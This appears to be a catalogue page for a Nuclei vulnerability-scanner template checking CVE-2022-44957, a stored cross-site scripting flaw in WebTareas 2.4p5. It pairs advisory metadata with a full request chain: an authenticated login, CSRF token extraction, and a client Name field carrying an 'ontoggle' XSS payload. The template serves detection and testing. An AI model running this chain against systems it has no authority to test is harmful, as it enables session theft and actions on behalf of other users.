CVE-2022-44957: WebTareas 2.4p5 - Cross-Site Scripting
- Template: CVE-2022-44957
- Name: WebTareas 2.4p5 - Cross-Site Scripting
- Description: webtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /clients/listclients.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.
- Impact: Authenticated attackers can inject malicious JavaScript through the client Name field, potentially stealing session tokens and performing unauthorized actions on behalf of other WebTareas users.
- Remediation: Update webtareas to a version newer than 2.4p5 that properly sanitizes the Name field input and encodes output in listclients.php.
- Severity: medium
- Authors: theamanrawat
- Tags: cve, cve2022, xss, webtareas, authenticated, intrusive, webtareas_project, vuln
- References: http://webtareas.com/, https://github.com/anhdq201/webtareas/issues/11, https://nvd.nist.gov/vuln/detail/CVE-2022-44957, http://webtareas.com
- Cves: CVE-2022-44957
- Verified: yes
- Max requests: 3
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-44957.yaml
- Digest: 4b0a0048304602210099bde5f7277e5a682b7b64fdbf94fd86e3ad92f2fb5469b88744f20a3da64f360221008bf777ac38204ee7125a10e12c6c839ef47af5962b1cfee2d6fbb0b9cd874287
- Created at: 2023-10-17T17:47:17Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1134
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-44957.yaml
Classification
- Cwe: CWE-79
- Cvss score: 5.4
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01137
- Epss percentile: 0.67379
- Cpe: cpe:2.3:a:webtareas_project:webtareas:2.4:p5:*:*:*:*:*:*
Metadata
- Max-request: 3
- Product: webtareas
- Vendor: webtareas_project
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| webtareas_project:webtareas | yes | /v1/products/webtareas_project/webtareas |
Labels
- Name: webtareas - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or redirection.
- Remediation: Sanitize and validate input fields, especially the Name field, and update to the latest version if available.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim needs to load a malicious payload
- Labels source: projectdiscovery
- From cve: CVE-2022-44957
```yaml
id: CVE-2022-44957
info:
name: WebTareas 2.4p5 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
webtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /clients/listclients.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.
impact: |
Authenticated attackers can inject malicious JavaScript through the client Name field, potentially stealing session tokens and performing unauthorized actions on behalf of other WebTareas users.
remediation: |
Update webtareas to a version newer than 2.4p5 that properly sanitizes the Name field input and encodes output in listclients.php.
reference:
- https://github.com/anhdq201/webtareas/issues/11
- https://nvd.nist.gov/vuln/detail/CVE-2022-44957
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-44957
cwe-id: CWE-79
epss-score: 0.01137
epss-percentile: 0.67379
cpe: cpe:2.3:a:webtareas_project:webtareas:2.4:p5:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: webtareas_project
product: webtareas
tags: cve,cve2022,xss,webtareas,authenticated,intrusive,webtareas_project,vuln
http:
- raw:
- |
POST /general/login.php?session=false HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="action"
login
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="loginForm"
{{username}}
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="passwordForm"
{{password}}
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="loginSubmit"
Log In
-----------------------------3023071625140724693672385525--
- |
GET /clients/editclient.php? HTTP/1.1
Host: {{Hostname}}
- |
POST /clients/editclient.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------34025600472463336623659912061
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="csrfToken"
{{csrf}}
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="action"
add
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="cown"
1
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="cn"
{{randstr}}<details/open/ontoggle=alert(document.domain)>
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="add"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="zip"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="ct"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="cou"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="wp"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="fa"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="url"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="email"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="curr"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="wc"
1
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="pym"
1
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="pyt"
7
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="c"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="ssc"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="attnam1"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="atttmp1"
-----------------------------34025600472463336623659912061--
host-redirects: true
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '<details/open/ontoggle=alert(document.domain)>'
- 'clients/listclients.php?'
condition: and
- type: word
part: header_3
words:
- text/html
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'name="csrfToken" value="([0-9a-zA-Z]+)"'
internal: true
digest: 4b0a0048304602210099bde5f7277e5a682b7b64fdbf94fd86e3ad92f2fb5469b88744f20a3da64f360221008bf777ac38204ee7125a10e12c6c839ef47af5962b1cfee2d6fbb0b9cd874287:922c64590222798bb761d5b6d8e72950
```